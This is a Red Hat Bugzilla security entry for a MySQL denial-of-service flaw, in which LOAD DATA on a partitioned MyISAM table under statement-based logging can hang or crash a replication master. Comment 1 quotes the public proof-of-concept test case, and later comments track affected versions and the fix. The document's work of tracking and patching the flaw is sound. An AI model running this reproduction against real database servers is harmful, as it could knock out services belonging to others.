Bug 718233

Summary: mysql: DoS (master hang or crash) by executing LOAD DATA on a partitioned MyISAM table while using statement-based logging mode (MySQL bug#51851)
Product: [Other] Security Response Reporter: Jan Lieskovsky <jlieskov>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED NOTABUG QA Contact:
Severity: low Docs Contact:
Priority: low    
Version: unspecifiedCC: byte, tgl
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2012-02-14 14:28:36 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Bug Depends On:    
Bug Blocks: 717721    

Description Jan Lieskovsky 2011-07-01 14:21:04 UTC 
It was found that MySQL server did not properly handle locks mutex in SQL queries executing LOAD DATA on a partitioned MyISAM table, when statement-based logging mode was used. A remote, valid MySQL user could use this flaw to cause a denial of service (master MySQL replication server hang or crash) via specially-crafted SQL query.

References:
[1] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-52.html
[2] http://bugs.mysql.com/bug.php?id=51851
[3] http://lists.mysql.com/commits/104667

Note:
On Red Hat Enterprise Linux systems exploitation of this issue would lead only to temporary denial of service, since mysqld daemon gets automatically restarted upon encountering a crash.
Comment 1 Jan Lieskovsky 2011-07-01 14:22:51 UTC 
Public PoC from [2]:
====================

--source include/master-slave.inc
--source include/have_binlog_format_statement.inc

perl;
open( INIT, ">init_file.txt");
print INIT "abcd\n";
close( INIT );
EOF

USE test;

CREATE TABLE t_celosia_ddl_partitions
(id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, name TINYBLOB NOT NULL,
modified TIMESTAMP DEFAULT '0000-00-00 00:00:00',
INDEX namelocs (name(255))) ENGINE = MyISAM
PARTITION BY HASH(id) PARTITIONS 2;

LOAD DATA LOCAL INFILE 'init_file.txt'
INTO TABLE t_celosia_ddl_partitions (name);
COMMIT;

remove_file init_file.txt;
Comment 3 Jan Lieskovsky 2011-07-01 14:30:18 UTC 
This issue did NOT affect the versions of the mysql package, as shipped with
Red Hat Enterprise Linux 4 and 5.

--

This issue affects the version of the mysql package, as shipped with 
Red Hat Enterprise Linux 6.

--

This issue affects the versions of the mysql package, as shipped with
Fedora release of 14 and 15.
Comment 4 Tom Lane 2011-07-11 18:10:50 UTC 
The history in the upstream bug report shows that this fix was actually pushed into 5.1.53, despite the changelog entry claiming it was fixed in 5.1.52.  So I'm not surprised than 5.1.52 fails, but current Fedora should not ... you sure you tested it against 5.1.56?
Comment 5 Jan Lieskovsky 2012-02-14 14:28:36 UTC 
(In reply to comment #3)
> This issue did NOT affect the versions of the mysql package, as shipped with
> Red Hat Enterprise Linux 4 and 5.
> 
> --
> 
> This issue affects the version of the mysql package, as shipped with 
> Red Hat Enterprise Linux 6.
> 

MySQL upstream does not consider this deficiency to be a security flaw.

The mysql package in Red Hat Enterprise Linux 6 has been upgraded to version 5.1.61 via RHSA-2012:0105 security advisory: https://rhn.redhat.com/errata/RHSA-2012-0105.html, and therefore this deficiency has been corrected in Red Hat Enterprise Linux 6 too.